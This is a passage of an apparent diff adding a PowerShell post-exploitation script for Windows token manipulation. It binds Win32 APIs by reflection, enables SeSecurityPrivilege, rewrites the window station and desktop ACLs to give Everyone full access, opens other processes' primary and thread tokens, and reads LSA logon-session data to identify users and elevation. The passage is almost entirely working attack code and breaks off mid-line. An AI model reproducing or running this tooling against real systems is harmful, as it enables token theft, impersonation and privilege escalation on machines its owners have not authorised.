+ $TypeBuilder = $ModuleBuilder.DefineType('TRUSTEE', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('pMultipleTrustee', [IntPtr], 'Public') | Out-Null + $TypeBuilder.DefineField('MultipleTrusteeOperation', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TrusteeForm', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('TrusteeType', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('ptstrName', [IntPtr], 'Public') | Out-Null + $TRUSTEE = $TypeBuilder.CreateType() + + #Struct EXPLICIT_ACCESS + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('EXPLICIT_ACCESS', $Attributes, [System.ValueType]) + $TypeBuilder.DefineField('grfAccessPermissions', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('grfAccessMode', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('grfInheritance', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('Trustee', $TRUSTEE, 'Public') | Out-Null + $EXPLICIT_ACCESS = $TypeBuilder.CreateType() + ############################### + + + ############################### + #Win32Functions + ############################### + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + + $OpenProcessTokenAddr = Get-ProcAddress advapi32.dll OpenProcessToken + $OpenProcessTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) + $OpenProcessToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate) + + $GetTokenInformationAddr = Get-ProcAddress advapi32.dll GetTokenInformation + $GetTokenInformationDelegate = Get-DelegateType @([IntPtr], $TOKEN_INFORMATION_CLASS, [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $GetTokenInformation = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetTokenInformationAddr, $GetTokenInformationDelegate) + + $SetThreadTokenAddr = Get-ProcAddress advapi32.dll SetThreadToken + $SetThreadTokenDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([Bool]) + $SetThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetThreadTokenAddr, $SetThreadTokenDelegate) + + $ImpersonateLoggedOnUserAddr = Get-ProcAddress advapi32.dll ImpersonateLoggedOnUser + $ImpersonateLoggedOnUserDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $ImpersonateLoggedOnUser = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateLoggedOnUserAddr, $ImpersonateLoggedOnUserDelegate) + + $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf + $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) + $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) + + $LsaGetLogonSessionDataAddr = Get-ProcAddress secur32.dll LsaGetLogonSessionData + $LsaGetLogonSessionDataDelegate = Get-DelegateType @([IntPtr], [IntPtr].MakeByRefType()) ([UInt32]) + $LsaGetLogonSessionData = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaGetLogonSessionDataAddr, $LsaGetLogonSessionDataDelegate) + + $CreateProcessWithTokenWAddr = Get-ProcAddress advapi32.dll CreateProcessWithTokenW + $CreateProcessWithTokenWDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) + $CreateProcessWithTokenW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessWithTokenWAddr, $CreateProcessWithTokenWDelegate) + + $memsetAddr = Get-ProcAddress msvcrt.dll memset + $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) + $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) + + $DuplicateTokenExAddr = Get-ProcAddress advapi32.dll DuplicateTokenEx + $DuplicateTokenExDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) + $DuplicateTokenEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuplicateTokenExAddr, $DuplicateTokenExDelegate) + + $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW + $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool]) + $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate) + + $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle + $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) + + $LsaFreeReturnBufferAddr = Get-ProcAddress secur32.dll LsaFreeReturnBuffer + $LsaFreeReturnBufferDelegate = Get-DelegateType @([IntPtr]) ([UInt32]) + $LsaFreeReturnBuffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaFreeReturnBufferAddr, $LsaFreeReturnBufferDelegate) + + $OpenThreadAddr = Get-ProcAddress kernel32.dll OpenThread + $OpenThreadDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadAddr, $OpenThreadDelegate) + + $OpenThreadTokenAddr = Get-ProcAddress advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + + $CreateProcessAsUserWAddr = Get-ProcAddress advapi32.dll CreateProcessAsUserW + $CreateProcessAsUserWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool]) + $CreateProcessAsUserW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessAsUserWAddr, $CreateProcessAsUserWDelegate) + + $OpenWindowStationWAddr = Get-ProcAddress user32.dll OpenWindowStationW + $OpenWindowStationWDelegate = Get-DelegateType @([IntPtr], [Bool], [UInt32]) ([IntPtr]) + $OpenWindowStationW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenWindowStationWAddr, $OpenWindowStationWDelegate) + + $OpenDesktopAAddr = Get-ProcAddress user32.dll OpenDesktopA + $OpenDesktopADelegate = Get-DelegateType @([String], [UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenDesktopA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenDesktopAAddr, $OpenDesktopADelegate) + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], $LUID.MakeByRefType()) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], $TOKEN_PRIVILEGES.MakeByRefType(), [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + + $GetSecurityInfoAddr = Get-ProcAddress advapi32.dll GetSecurityInfo + $GetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType()) ([UInt32]) + $GetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetSecurityInfoAddr, $GetSecurityInfoDelegate) + + $SetSecurityInfoAddr = Get-ProcAddress advapi32.dll SetSecurityInfo + $SetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32]) + $SetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetSecurityInfoAddr, $SetSecurityInfoDelegate) + + $GetAceAddr = Get-ProcAddress advapi32.dll GetAce + $GetAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([IntPtr]) + $GetAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAceAddr, $GetAceDelegate) + + $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW + $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool]) + $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate) + + $AddAccessAllowedAceAddr = Get-ProcAddress advapi32.dll AddAccessAllowedAce + $AddAccessAllowedAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr]) ([Bool]) + $AddAccessAllowedAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AddAccessAllowedAceAddr, $AddAccessAllowedAceDelegate) + + $CreateWellKnownSidAddr = Get-ProcAddress advapi32.dll CreateWellKnownSid + $CreateWellKnownSidDelegate = Get-DelegateType @([UInt32], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool]) + $CreateWellKnownSid = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateWellKnownSidAddr, $CreateWellKnownSidDelegate) + + $SetEntriesInAclWAddr = Get-ProcAddress advapi32.dll SetEntriesInAclW + $SetEntriesInAclWDelegate = Get-DelegateType @([UInt32], $EXPLICIT_ACCESS.MakeByRefType(), [IntPtr], [IntPtr].MakeByRefType()) ([UInt32]) + $SetEntriesInAclW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetEntriesInAclWAddr, $SetEntriesInAclWDelegate) + + $LocalFreeAddr = Get-ProcAddress kernel32.dll LocalFree + $LocalFreeDelegate = Get-DelegateType @([IntPtr]) ([IntPtr]) + $LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate) + + $LookupPrivilegeNameWAddr = Get-ProcAddress advapi32.dll LookupPrivilegeNameW + $LookupPrivilegeNameWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool]) + $LookupPrivilegeNameW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeNameWAddr, $LookupPrivilegeNameWDelegate) + ############################### + + + #Used to add 64bit memory addresses + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + #Enable SeSecurityPrivilege, needed to query security information for desktop DACL + function Enable-SeSecurityPrivilege + { + [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Result -eq $false) + { + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + } + else + { + Throw ([ComponentModel.Win32Exception] $ErrorCode) + } + } + + $CloseHandle.Invoke($ThreadHandle) | Out-Null + + $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID) + $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize) + $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) + + $Result = $LookupPrivilegeValue.Invoke($null, "SeSecurityPrivilege", [Ref] $LuidObject) + + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + [UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) + $LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize) + $LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr) + + $LuidAndAttributes.Luid = $LuidObject + $LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES) + $TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges = $LuidAndAttributes + + $Global:TokenPriv = $TokenPrivileges + + $Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + if ($Result -eq $false) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + $CloseHandle.Invoke($ThreadToken) | Out-Null + } + + + #Change the ACL of the WindowStation and Desktop + function Set-DesktopACLs + { + Enable-SeSecurityPrivilege + + #Change the privilege for the current window station to allow full privilege for all users + $WindowStationStr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("WinSta0") + $hWinsta = $OpenWindowStationW.Invoke($WindowStationStr, $false, $Win32Constants.ACCESS_SYSTEM_SECURITY -bor $Win32Constants.READ_CONTROL -bor $Win32Constants.WRITE_DAC) + + if ($hWinsta -eq [IntPtr]::Zero) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + Set-DesktopACLToAllowEveryone -hObject $hWinsta + $CloseHandle.Invoke($hWinsta) | Out-Null + + #Change the privilege for the current desktop to allow full privilege for all users + $hDesktop = $OpenDesktopA.Invoke("default", 0, $false, $Win32Constants.DESKTOP_GENERIC_ALL -bor $Win32Constants.WRITE_DAC) + if ($hDesktop -eq [IntPtr]::Zero) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + Set-DesktopACLToAllowEveryone -hObject $hDesktop + $CloseHandle.Invoke($hDesktop) | Out-Null + } + + + function Set-DesktopACLToAllowEveryone + { + Param( + [IntPtr]$hObject + ) + + [IntPtr]$ppSidOwner = [IntPtr]::Zero + [IntPtr]$ppsidGroup = [IntPtr]::Zero + [IntPtr]$ppDacl = [IntPtr]::Zero + [IntPtr]$ppSacl = [IntPtr]::Zero + [IntPtr]$ppSecurityDescriptor = [IntPtr]::Zero + #0x7 is window station, change for other types + $retVal = $GetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, [Ref]$ppSidOwner, [Ref]$ppSidGroup, [Ref]$ppDacl, [Ref]$ppSacl, [Ref]$ppSecurityDescriptor) + if ($retVal -ne 0) + { + Write-Error "Unable to call GetSecurityInfo. ErrorCode: $retVal" + } + + if ($ppDacl -ne [IntPtr]::Zero) + { + $AclObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ppDacl, [Type]$ACL) + + #Add all users to acl + [UInt32]$RealSize = 2000 + $pAllUsersSid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($RealSize) + $Success = $CreateWellKnownSid.Invoke(1, [IntPtr]::Zero, $pAllUsersSid, [Ref]$RealSize) + if (-not $Success) + { + Throw (New-Object ComponentModel.Win32Exception) + } + + #For user "Everyone" + $TrusteeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TRUSTEE) + $TrusteePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TrusteeSize) + $TrusteeObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TrusteePtr, [Type]$TRUSTEE) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TrusteePtr) + $TrusteeObj.pMultipleTrustee = [IntPtr]::Zero + $TrusteeObj.MultipleTrusteeOperation = 0 + $TrusteeObj.TrusteeForm = $Win32Constants.TRUSTEE_IS_SID + $TrusteeObj.TrusteeType = $Win32Constants.TRUSTEE_IS_WELL_KNOWN_GROUP + $TrusteeObj.ptstrName = $pAllUsersSid + + #Give full permission + $ExplicitAccessSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$EXPLICIT_ACCESS) + $ExplicitAccessPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ExplicitAccessSize) + $ExplicitAccess = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExplicitAccessPtr, [Type]$EXPLICIT_ACCESS) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ExplicitAccessPtr) + $ExplicitAccess.grfAccessPermissions = 0xf03ff + $ExplicitAccess.grfAccessMode = $Win32constants.GRANT_ACCESS + $ExplicitAccess.grfInheritance = $Win32Constants.OBJECT_INHERIT_ACE + $ExplicitAccess.Trustee = $TrusteeObj + + [IntPtr]$NewDacl = [IntPtr]::Zero + + $RetVal = $SetEntriesInAclW.Invoke(1, [Ref]$ExplicitAccess, $ppDacl, [Ref]$NewDacl) + if ($RetVal -ne 0) + { + Write-Error "Error calling SetEntriesInAclW: $RetVal" + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAllUsersSid) + + if ($NewDacl -eq [IntPtr]::Zero) + { + throw "New DACL is null" + } + + #0x7 is window station, change for other types + $RetVal = $SetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, $ppSidOwner, $ppSidGroup, $NewDacl, $ppSacl) + if ($RetVal -ne 0) + { + Write-Error "SetSecurityInfo failed. Return value: $RetVal" + } + + $LocalFree.Invoke($ppSecurityDescriptor) | Out-Null + } + } + + + #Get the primary token for the specified processId + function Get-PrimaryToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [UInt32] + $ProcessId, + + #Open the token with all privileges. Requires SYSTEM because some of the privileges are restricted to SYSTEM. + [Parameter()] + [Switch] + $FullPrivs + ) + + if ($FullPrivs) + { + $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS + } + else + { + $TokenPrivs = $Win32Constants.TOKEN_ASSIGN_PRIMARY -bor $Win32Constants.TOKEN_DUPLICATE -bor $Win32Constants.TOKEN_IMPERSONATE -bor $Win32Constants.TOKEN_QUERY + } + + $ReturnStruct = New-Object PSObject + + $hProcess = $OpenProcess.Invoke($Win32Constants.PROCESS_QUERY_INFORMATION, $true, [UInt32]$ProcessId) + $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcess -Value $hProcess + if ($hProcess -eq [IntPtr]::Zero) + { + #If a process is a protected process it cannot be enumerated. This call should only fail for protected processes. + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Verbose "Failed to open process handle for ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error code: $ErrorCode . This is likely because this is a protected process." + return $null + } + else + { + [IntPtr]$hProcToken = [IntPtr]::Zero + $Success = $OpenProcessToken.Invoke($hProcess, $TokenPrivs, [Ref]$hProcToken) + + #Close the handle to hProcess (the process handle) + if (-not $CloseHandle.Invoke($hProcess)) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to close process handle, this is unexpected. ErrorCode: $ErrorCode" + } + $hProcess = [IntPtr]::Zero + + if ($Success -eq $false -or $hProcToken -eq [IntPtr]::Zero) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to get processes primary token. ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error: $ErrorCode" + return $null + } + else + { + $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcToken -Value $hProcToken + } + } + + return $ReturnStruct + } + + + function Get-ThreadToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [UInt32] + $ThreadId + ) + + $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS + + $RetStruct = New-Object PSObject + [IntPtr]$hThreadToken = [IntPtr]::Zero + + $hThread = $OpenThread.Invoke($Win32Constants.THREAD_ALL_ACCESS, $false, $ThreadId) + if ($hThread -eq [IntPtr]::Zero) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER) #The thread probably no longer exists + { + Write-Warning "Failed to open thread handle for ThreadId: $ThreadId. Error code: $ErrorCode" + } + } + else + { + $Success = $OpenThreadToken.Invoke($hThread, $TokenPrivs, $false, [Ref]$hThreadToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if (($ErrorCode -ne $Win32Constants.ERROR_NO_TOKEN) -and #This error is returned when the thread isn't impersonated + ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER)) #Probably means the thread was closed + { + Write-Warning "Failed to call OpenThreadToken for ThreadId: $ThreadId. Error code: $ErrorCode" + } + } + else + { + Write-Verbose "Successfully queried thread token" + } + + #Close the handle to hThread (the thread handle) + if (-not $CloseHandle.Invoke($hThread)) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to close thread handle, this is unexpected. ErrorCode: $ErrorCode" + } + $hThread = [IntPtr]::Zero + } + + $RetStruct | Add-Member -MemberType NoteProperty -Name hThreadToken -Value $hThreadToken + return $RetStruct + } + + + #Gets important information about the token such as the logon type associated with the logon + function Get-TokenInformation + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken + ) + + $ReturnObj = $null + + $TokenStatsSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_STATISTICS) + [IntPtr]$TokenStatsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenStatsSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenStatistics, $TokenStatsPtr, $TokenStatsSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed. Error code: $ErrorCode" + } + else + { + $TokenStats = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenStatsPtr, [Type]$TOKEN_STATISTICS) + + #Query LSA to determine what the logontype of the session is that the token corrosponds to, as well as the username/domain of the logon + $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID)) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenStats.AuthenticationId, $LuidPtr, $false) + + [IntPtr]$LogonSessionDataPtr = [IntPtr]::Zero + $ReturnVal = $LsaGetLogonSessionData.Invoke($LuidPtr, [Ref]$LogonSessionDataPtr) + if ($ReturnVal -ne 0 -and $LogonSessionDataPtr -eq [IntPtr]::Zero) + { + Write-Warning "Call to LsaGetLogonSessionData failed. Error code: $ReturnVal. LogonSessionDataPtr = $LogonSessionDataPtr" + } + else + { + $LogonSessionData = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LogonSessionDataPtr, [Type]$SECURITY_LOGON_SESSION_DATA) + if ($LogonSessionData.Username.Buffer -ne [IntPtr]::Zero -and + $LogonSessionData.LoginDomain.Buffer -ne [IntPtr]::Zero) + { + #Get the username and domainname associated with the token + $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.Username.Buffer, $LogonSessionData.Username.Length/2) + $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.LoginDomain.Buffer, $LogonSessionData.LoginDomain.Length/2) + + #If UserName is for the computer account, figure out what account it actually is (SYSTEM, NETWORK SERVICE) + #Only do this for the computer account because other accounts return correctly. Also, doing this for a domain account + #results in querying the domain controller which is unwanted. + if ($Username -ieq "$($env:COMPUTERNAME)`$") + { + [UInt32]$Size = 100 + [UInt32]$NumUsernameChar = $Size / 2 + [UInt32]$NumDomainChar = $Size / 2 + [UInt32]$SidNameUse = 0 + $UsernameBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size) + $DomainBuffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($Size) + $Success = $LookupAccountSidW.Invoke([IntPtr]::Zero, $LogonSessionData.Sid, $UsernameBuffer, [Ref]$NumUsernameChar, $DomainBuffer, [Ref]$NumDomainChar, [Ref]$SidNameUse) + + if ($Success) + { + $Username = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($UsernameBuffer) + $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($DomainBuffer) + } + else + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Error calling LookupAccountSidW. Error code: $ErrorCode" + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UsernameBuffer) + $UsernameBuffer = [IntPtr]::Zero + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($DomainBuffer) + $DomainBuffer = [IntPtr]::Zero + } + + $ReturnObj = New-Object PSObject + $ReturnObj | Add-Member -Type NoteProperty -Name Domain -Value $Domain + $ReturnObj | Add-Member -Type NoteProperty -Name Username -Value $Username + $ReturnObj | Add-Member -Type NoteProperty -Name hToken -Value $hToken + $ReturnObj | Add-Member -Type NoteProperty -Name LogonType -Value $LogonSessionData.LogonType + + + #Query additional info about the token such as if it is elevated + $ReturnObj | Add-Member -Type NoteProperty -Name IsElevated -Value $false + + $TokenElevationSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_ELEVATION) + $TokenElevationPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenElevationSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenElevation, $TokenElevationPtr, $TokenElevationSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve TokenElevation status. ErrorCode: $ErrorCode" + } + else + { + $TokenElevation = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenelevationPtr, [Type]$TOKEN_ELEVATION) + if ($TokenElevation.TokenIsElevated 